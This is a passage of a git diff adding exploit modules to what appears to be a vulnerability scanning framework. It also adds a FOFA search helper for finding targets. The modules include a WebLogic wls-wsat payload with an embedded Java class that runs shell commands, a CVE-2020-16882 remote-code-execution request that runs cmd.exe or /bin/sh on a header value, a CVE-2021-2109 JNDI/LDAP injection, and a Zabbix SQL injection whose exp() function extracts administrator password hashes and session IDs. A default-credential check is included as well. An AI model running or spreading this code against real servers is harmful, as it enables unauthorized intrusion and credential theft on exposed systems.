+ return rsp.status_code, rsp.text
+
+
+def weblogic_12_1_3(ip):
+ headers = {
+ "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
+ "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
+ "Content-Type": "text/xml"
+ }
+ body = ''' xxxx
+
+ org.slf4j.ext.EventData
+
+
+
+
+ yv66vgAAADIAYwoAFAA8CgA9AD4KAD0APwoAQABBBwBCCgAFAEMHAEQKAAcARQgARgoABwBHBwBICgALADwKAAsASQoACwBKCABLCgATAEwHAE0IAE4HAE8HAFABAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAEExSZXN1bHRCYXNlRXhlYzsBAAhleGVjX2NtZAEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQABcAEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAANmaXMBABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAANpc3IBABtMamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcjsBAAJicgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBAAZyZXN1bHQBAA1TdGFja01hcFRhYmxlBwBRBwBSBwBTBwBCBwBEAQAKRXhjZXB0aW9ucwEAB2RvX2V4ZWMBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247BwBNBwBUAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBAChSZXN1bHRCYXNlRXhlYy5qYXZhIGZyb20gSW5wdXRGaWxlT2JqZWN0DAAVABYHAFUMAFYAVwwAWABZBwBSDABaAFsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyDAAVAFwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAVAF0BAAAMAF4AXwEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABgAGEMAGIAXwEAC2NtZC5leGUgL2MgDAAcAB0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQALL2Jpbi9zaCAtYyABAA5SZXN1bHRCYXNlRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lucHV0U3RyZWFtAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwAhABMAFAAAAAAABAABABUAFgABABcAAAAvAAEAAQAAAAUqtwABsQAAAAIAGAAAAAYAAQAAAAMAGQAAAAwAAQAAAAUAGgAbAAAACQAcAB0AAgAXAAAA+QADAAcAAABOuAACKrYAA0wrtgAETbsABVkstwAGTrsAB1kttwAIOgQBOgUSCToGGQS2AApZOgXGABy7AAtZtwAMGQa2AA0ZBbYADbYADjoGp//fGQawAAAAAwAYAAAAJgAJAAAABgAIAAcADQAIABYACQAgAAoAIwALACcADAAyAA4ASwARABkAAABIAAcAAABOAB4AHwAAAAgARgAgACEAAQANAEEAIgAjAAIAFgA4ACQAJQADACAALgAmACcABAAjACsAKAAfAAUAJwAnACkAHwAGACoAAAAfAAL/ACcABwcAKwcALAcALQcALgcALwcAKwcAKwAAIwAwAAAABAABABEACQAxAB0AAgAXAAAAqgACAAMAAAA3EglMuwALWbcADBIPtgANKrYADbYADrgAEEynABtNuwALWbcADBIStgANKrYADbYADrgAEEwrsAABAAMAGgAdABEAAwAYAAAAGgAGAAAAFgADABkAGgAeAB0AGwAeAB0ANQAfABkAAAAgAAMAHgAXADIAMwACAAAANwAeAB8AAAADADQAKQAfAAEAKgAAABMAAv8AHQACBwArBwArAAEHADQXADAAAAAEAAEANQAJADYANwACABcAAAArAAAAAQAAAAGxAAAAAgAYAAAABgABAAAANgAZAAAADAABAAAAAQA4ADkAAAAwAAAABAABADUAAQA6AAAAAgA7
+
+
+
+
+ ResultBaseExec
+
+
+
+ %s
+
+
+
+
+
+
+
+
+
+ connectionHandler
+ true
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ''' % ("whoami")
+ url = "%s/wls-wsat/CoordinatorPortType" % (ip)
+ rsp = requests.post(url, data=body, verify=False, headers=headers)
+ return rsp.status_code, rsp.text
+
+
+
+def poc(target):
+ result={}
+ if weblogic_10_3_6(target)[0] == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ return result
+ elif weblogic_12_1_3(target)[0] == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ return result
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
\ No newline at end of file
diff --git a/Moudle/Weblogic/CVE_2020_16882.py b/Moudle/Weblogic/CVE_2020_16882.py
new file mode 100644
index 0000000..01b4f9f
--- /dev/null
+++ b/Moudle/Weblogic/CVE_2020_16882.py
@@ -0,0 +1,41 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import sys
+import requests
+from Config.config_requests import ua
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+# 脚本信息
+######################################################
+NAME='CVE_2020_16882'
+AUTHOR = "Faith"
+REMARK = 'Weblogic未授权远程代码执行漏洞'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+
+def poc(target):
+ result={}
+ vuln_url = target + '/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29'
+ headers = {"User-Agent":ua}
+ data = '''
+ GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
+ cmd: ls
+ Host: 127.0.0.1:7001
+ '''
+ r = requests.post(vuln_url, headers=headers,data=data,verify=False,timeout=3)
+ try:
+ if r.status_code ==200:
+ result['target'] = target
+ result['poc'] = NAME
+ return result
+ else:
+ pass
+ except:
+ pass
+
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
\ No newline at end of file
diff --git a/Moudle/Weblogic/CVE_2021_2109.py b/Moudle/Weblogic/CVE_2021_2109.py
new file mode 100644
index 0000000..e78b367
--- /dev/null
+++ b/Moudle/Weblogic/CVE_2021_2109.py
@@ -0,0 +1,40 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+
+import requests
+from requests.packages.urllib3.exceptions import InsecurePlatformWarning
+
+
+
+# 脚本信息
+######################################################
+NAME='CVE_2021_2109'
+AUTHOR="Faith"
+REMARK='Weblogic LDAP 远程代码执行漏洞'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+
+def poc(target):
+ result = {}
+ ldap_url = target
+ a = ldap_url.replace('http','ldap').replace('.',';',3).replace('7001','1389')
+ b = a.replace(';','.',2)
+
+ headers = {"UserAgent":"ua"}
+ url = target + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle('{}/Basic/WeblogicEcho;AdminServer')".format(b)
+ try:
+ requests.packages.urllib3.disable_warnings(InsecurePlatformWarning)
+ r = requests.get(url=url,headers=headers,verify=False,timeout=3)
+ if r.status_code == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = url
+ return result
+ else:
+ pass
+ except:
+ pass
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
\ No newline at end of file
diff --git a/Moudle/Weblogic/Weblogic_Console_Info_Leak.py b/Moudle/Weblogic/Weblogic_Console_Info_Leak.py
new file mode 100644
index 0000000..16e9ae6
--- /dev/null
+++ b/Moudle/Weblogic/Weblogic_Console_Info_Leak.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+
+import sys
+import requests
+from Config.config_requests import ua
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+
+# 脚本信息
+######################################################
+NAME='Weblogic_Console_Info_Leak'
+AUTHOR = "Faith"
+REMARK = 'Weblogic控制台路径泄露'
+FOFA_RULE='app="Oracle-BEA-WebLogic-Server"'
+######################################################
+
+def poc(target):
+ result={}
+ vuln_url = target + '/console/login/LoginForm.jsp'
+ headers = {"User-Agent":ua}
+
+ r = requests.get(vuln_url, headers=headers,verify=False,timeout=3)
+ try:
+ if r.status_code == 200:
+ result['target'] = target
+ result['poc'] = NAME
+ result['url'] = vuln_url
+ return result
+ else:
+ pass
+ except:
+ pass
+
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
\ No newline at end of file
diff --git a/Moudle/Zabbix/CVE_2016_10134.py b/Moudle/Zabbix/CVE_2016_10134.py
new file mode 100644
index 0000000..9a5a52d
--- /dev/null
+++ b/Moudle/Zabbix/CVE_2016_10134.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import re
+import requests
+from requests.packages.urllib3.exceptions import InsecureRequestWarning
+
+# 脚本信息
+######################################################
+NAME='CVE_2016_10134'
+AUTHOR="Joker"
+REMARK='Zabbix SQL注入'
+FOFA_RULE='title="zabbix"'
+######################################################
+
+def poc(target):
+ result = {}
+ #'检查是否存在 SQL 注入'
+ payload = "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
+ vuln_url1 = target + payload
+ headers = {
+ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
+ }
+ try:
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+ r1 = requests.get(url=vuln_url1, headers=headers, verify=False, timeout=5)
+ if 'You have an error in your SQL syntax' in r1.text:
+ result['target'] = target
+ result['poc'] = NAME
+ return result
+ else:
+ pass
+ except Exception as e:
+ pass
+
+def exp(target):
+ # '尝试进行用户密码注入'
+ result ={}
+ passwd = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
+ session = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
+ payload2 = target + "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + passwd + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
+ payload3 = target + "/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + session + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
+ headers = {
+ "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
+ }
+ try:
+ requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
+ r2 = requests.get(url=payload2, headers=headers, verify=False, timeout=5)
+ r3 = requests.get(url=payload3, headers=headers, verify=False, timeout=5)
+ result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1")
+ result2 = result_reg.findall(r2.text)
+ result3 = result_reg.findall(r3.text)
+ if result2:
+ print("[+]" + target )
+ print("管理员 用户密码:" + result2[0])
+ if result3:
+ print("Cookie SessionID:" + result3[0])
+ else:
+ print("未成功利用")
+
+ except Exception as e:
+ # print(e)
+ pass
+
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1")
diff --git a/Moudle/Zabbix/Zabbix_Console_default_password.py b/Moudle/Zabbix/Zabbix_Console_default_password.py
new file mode 100644
index 0000000..45b29ee
--- /dev/null
+++ b/Moudle/Zabbix/Zabbix_Console_default_password.py
@@ -0,0 +1,57 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import json
+import requests
+from Config.config_requests import ua
+
+requests.packages.urllib3.disable_warnings()
+
+# 脚本信息
+######################################################
+NAME='Zabbix_Console_default_password'
+AUTHOR="RabbitMask"
+REMARK='zabbix Console default password'
+FOFA_RULE='app="ZABBIX-监控系统"'
+######################################################
+
+def poc(target):
+ result={}
+ headers={
+ "User-Agent": ua,
+ 'Content-Type':'application/json',
+ }
+
+ data = {
+ "jsonrpc": "2.0",
+ "method": "user.login",
+ "params": {
+ "user": "Admin",
+ "password": "zabbix"
+ },
+ "id": 1
+ }
+
+ try:
+ r = requests.post(target+"/api_jsonrpc.php",headers=headers, data=json.dumps(data), verify=False,timeout=3)
+ if r.status_code==404:
+ rr = requests.post(target + "/zabbix/api_jsonrpc.php", headers=headers, data=json.dumps(data), verify=False, timeout=3)
+ if rr.status_code == 200 and 'result' in rr.text and 'error' not in rr.text:
+ result['target'] = target
+ result['poc'] = NAME
+ result['username'] = 'Admin'
+ result['password'] = 'zabbix'
+ return result
+ elif r.status_code ==200 and 'result' in r.text and 'error' not in r.text:
+ result['target'] = target
+ result['poc'] = NAME
+ result['username'] = 'Admin'
+ result['password']='zabbix'
+ return result
+ except:
+ pass
+
+
+
+if __name__ == '__main__':
+ poc("http://127.0.0.1/")
\ No newline at end of file
diff --git a/Output/README.md b/Output/README.md
new file mode 100644
index 0000000..388c120
--- /dev/null
+++ b/Output/README.md
@@ -0,0 +1 @@
+### 结果导出目录
\ No newline at end of file
diff --git a/Seek/fofaapi.py b/Seek/fofaapi.py
new file mode 100644
index 0000000..a01a931
--- /dev/null
+++ b/Seek/fofaapi.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+
+import base64
+import requests
+
+from Config.config_decorators import Save_Csv
+from Config.config_api import FOFA_EAMIL, FOFA_API_KEY
+
+
+def fofaapi(keyword,num):
+ reslist=[]
+ bkeyword = bytes(keyword, encoding="utf8")
+ bs64 = base64.b64encode(bkeyword)
+ bs64 = bs64.decode()
+ res = requests.get('https://fofa.info/api/v1/search/all?email={}&key={}&qbase64={}&fields=host,ip,port,country,city,server,title&size={}'.format(FOFA_EAMIL,FOFA_API_KEY,bs64,str(num)))
+ result = res.json()['results']
+ # print(result)
+ for i in result:
+ dic={}
+ dic['host'] = i[0]
+ dic['ip'] = i[1]
+ dic['port'] = i[2]
+ dic['country'] = i[3]
+ dic['city'] = i[4]
+ dic['server'] = i[5]
+ dic['title'] = i[6]
+ reslist.append(dic)
+ print(dic)
+ return reslist
+
+@Save_Csv
+def run(keyword,num):
+ return fofaapi(keyword,num)
+
+
+if __name__ == '__main__':
+ fofaapi('app="test"',3)
diff --git a/Tools/ReBuild.py b/Tools/ReBuild.py
new file mode 100644
index 0000000..ae3917c
--- /dev/null
+++ b/Tools/ReBuild.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python3
+# _*_ coding:utf-8 _*_
+'''
+ ____ _ _ _ _ __ __ _
+| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
+| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
+| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
+|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
+
+'''
+import os
+from importlib import import_module
+from collections import Counter
+
+########################################################################################################################
+#pro
+def get_moudle():
+ dir = 'Moudle' #pro
+ # dir = '../Moudle' #dev
+ list=os.listdir(dir)
+ moudles=[]
+ for i in list:
+ if i !='__pycache__':
+ path = os.path.join(dir, i)
+ if os.path.isdir(path):
+ moudles.append(i)
+ return moudles
+
+def get_payload(moudle):
+ dir = 'Moudle/'+moudle #pro
+ # dir = '../Moudle/'+moudle #dev
+ list = os.listdir(dir)
+ payloads = []
+ for i in list:
+ tmp=[]
+ path = os.path.join(dir, i)
+ if os.path.isfile(path):
+ if '.py' in i:
+ payload=i.replace('.py','')
+ tmp.append(payload)
+ tmp.append(get_remark(moudle,payload))
+ payloads.append(tmp)
+ return payloads
+
+def get_remark(moudle,payload):
+ return import_module('Moudle.'+moudle+'.'+payload).REMARK
+
+
+
+
+
+def Rebuild():
+ str=""
+ moudles=get_moudle()
+ MOUDLE_NUM = len(moudles)
+ PAYLOAD_NUM = 0
+ for i in moudles:
+ str=str+("# {}\n".format(i))
+ for j in get_payload(i):
+ str=str+("from Moudle.{} import {}\n".format(i,j[0]))
+ PAYLOAD_NUM=PAYLOAD_NUM+1
+ str=str+("\n")
+ NUM="MOUDLE_NUM={}\nPAYLOAD_NUM={}\n\n".format(MOUDLE_NUM,PAYLOAD_NUM)
+ f=open('Moudle/Moudle_index.py','w')
+ f.write(NUM+str)
+ f.close()
+
+
+########################################################################################################################
+#dev
+def get_moudle_dev():
+ # dir = 'Moudle' #pro
+ dir = '../Moudle' #dev
+ list=os.listdir(dir)
+ moudles=[]
+ for i in list:
+ if i !='__pycache__':
+ path = os.path.join(dir, i)
+ if os.path.isdir(path):
+ moudles.append(i)
+ return moudles
+def get_payload_dev(moudle):
+ # dir = 'Moudle/'+moudle #pro
+ dir = '../Moudle/'+moudle #dev
+ list = os.listdir(dir)
+ payloads = []
+ for i in list:
+ tmp=[]
+ path = os.path.join(dir, i)
+ if os.path.isfile(path):
+ if '.py' in i:
+ payload=i.replace('.py','')
+ tmp.append(payload)
+ tmp.append(get_remark(moudle,payload))
+ tmp.append(get_author(moudle, payload)) #dev
+ payloads.append(tmp)
+ return payloads
+
+def get_author(moudle,payload):
+ return import_module('Moudle.'+moudle+'.'+payload).AUTHOR
+
+def Rebuild_dev():
+ moudles=get_moudle_dev()
+ res=[]
+ for i in moudles:
+ for j in get_payload_dev(i):
+ res.append(j[2])
+ dic=Counter(res)
+ for key in dic:
+ value = dic[key]
+ print(key,value)
+
+
+if __name__ == '__main__':
+ # get_moudle()
+ # Rebuild()
+ Rebuild_dev()
\ No newline at end of file